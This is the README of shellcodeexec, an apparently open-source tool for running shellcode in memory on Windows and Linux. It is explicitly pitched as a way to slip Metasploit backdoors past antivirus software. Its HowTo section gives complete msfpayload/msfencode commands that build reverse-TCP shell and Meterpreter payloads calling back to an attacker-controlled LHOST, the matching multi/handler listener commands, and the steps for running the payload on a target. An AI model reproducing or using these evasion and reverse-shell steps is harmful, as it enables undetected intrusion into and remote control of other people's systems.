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127 lines
4.8 KiB
Plaintext
127 lines
4.8 KiB
Plaintext
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= Short description =
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shellcodeexec is a small script to execute in memory a sequence of opcodes.
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= Background =
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Most of the shellcode launchers out there, including proof of concepts
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part of many "security" books, detail how to allocate a memory page as
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readable/writable/executable on POSIX systems, copy over your shellcode
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and execute it. This works just fine. However, it is limited to POSIX,
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does not necessarily consider 64-bit architecture and Windows systems.
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= Description =
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This script and the relevant project files (Makefile and Visual Studio
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files) allow you to compile the tool once then run your shellcode across
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different architectures and operating systems.
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Moreover, it solves a common real world issue: the target system's anti
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virus software blocking a Metasploit-generated payload stager (either EXE
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of ELF). Take for instance the following command line:
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$ msfpayload windows/meterpreter/reverse_tcp EXITFUNC=process LPORT=4444 LHOST=192.168.136.1 R | msfencode -a x86 -e x86/shikata_ga_nai -o /tmp/payload.exe -t exe
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This generates a Metasploit payload stager, payload.exe, that as soon as
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it lands on the AV-protected target system is recognized as malicious and
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potentially blocked (depending on the on-access scan settings) by many
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anti virus products. At the time of writing this text, 21 out 41 anti
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viruses detect it as malicious - http://goo.gl/HTw7o. By encoding it
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multiple times with msfencode, less AV softwares detect it, still a lot.
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I have been surfing the Net and found some interesting tutorials and
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guides about packing, compressing, obfuscating and applying IDA-foo to
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portable executables et similar in order to narrow down the number of AV
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products that can detect it as a malicious file. This is all interesting,
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but does not stop few hard-to-die anti viruses to detect your backdoor.
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So the question is, how cool would it be to have a final solution to avoid
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all this hassle? This is exactly where this tool comes into play!
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= Features =
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shellcodeexec:
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* Can be compiled and works on POSIX (Linux/Unices) and Windows systems.
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* Can be compiled and works on 32-bit and 64-bit architectures.
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* As far as I know, no AV detect it as malicious.
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* Works in DEP/NX-enabled environments: it allocates the memory page where
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it stores the shellcode as +rwx - Readable Writable and eXecutable.
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* It supports alphanumeric encoded payloads: you can pipe your binary-encoded
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shellcode (generated for instance with Metasploit's msfpayload) to
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Metasploit's msfencode to encode it with the alpha_mixed encoder. Set the
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BufferRegister variable to EAX registry where the address in memory of
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the shellcode will be stored, to avoid get_pc() binary stub to be
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prepended to the shellcode.
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* Spawns a new thread where the shellcode is executed in a structure
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exception handler (SEH) so that if you wrap shellcodeexec into your own
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executable, it avoids the whole process to crash in case of unexpected
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behaviours.
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= HowTo =
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1. Generate a Metasploit shellcode and encode it with the alphanumeric
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encoder. For example for a Linux target:
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$ msfpayload linux/x86/shell_reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 R | msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX
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Or for a Windows target:
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$ msfpayload windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 R | msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX
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2. Execute the Metasploit multi/handler listener on your machine. For
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example for a Linux target:
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$ msfcli multi/handler PAYLOAD=linux/x86/shell_reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 E
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Or for a Windows target:
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$ msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 E
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3. Execute the alphanumeric-encoded shellcode with this tool. For example
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on the Linux target:
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$ ./shellcodeexec <msfencode's alphanumeric-encoded payload>
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Or, on the Windows target:
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C:\WINDOWS\Temp>shellcodeexec.exe <msfencode's alphanumeric-encoded payload>
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= License =
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This source code is free software; you can redistribute it and/or
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modify it under the terms of the GNU Lesser General Public
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License as published by the Free Software Foundation; either
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version 2.1 of the License, or (at your option) any later version.
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This library is distributed in the hope that it will be useful,
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but WITHOUT ANY WARRANTY; without even the implied warranty of
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MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
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Lesser General Public License for more details.
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You should have received a copy of the GNU Lesser General Public
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License along with this library; if not, write to the Free Software
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Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
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= Author =
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Bernardo Damele A. G. <bernardo.damele@gmail.com>
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= Homepage =
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https://github.com/inquisb/shellcodeexec
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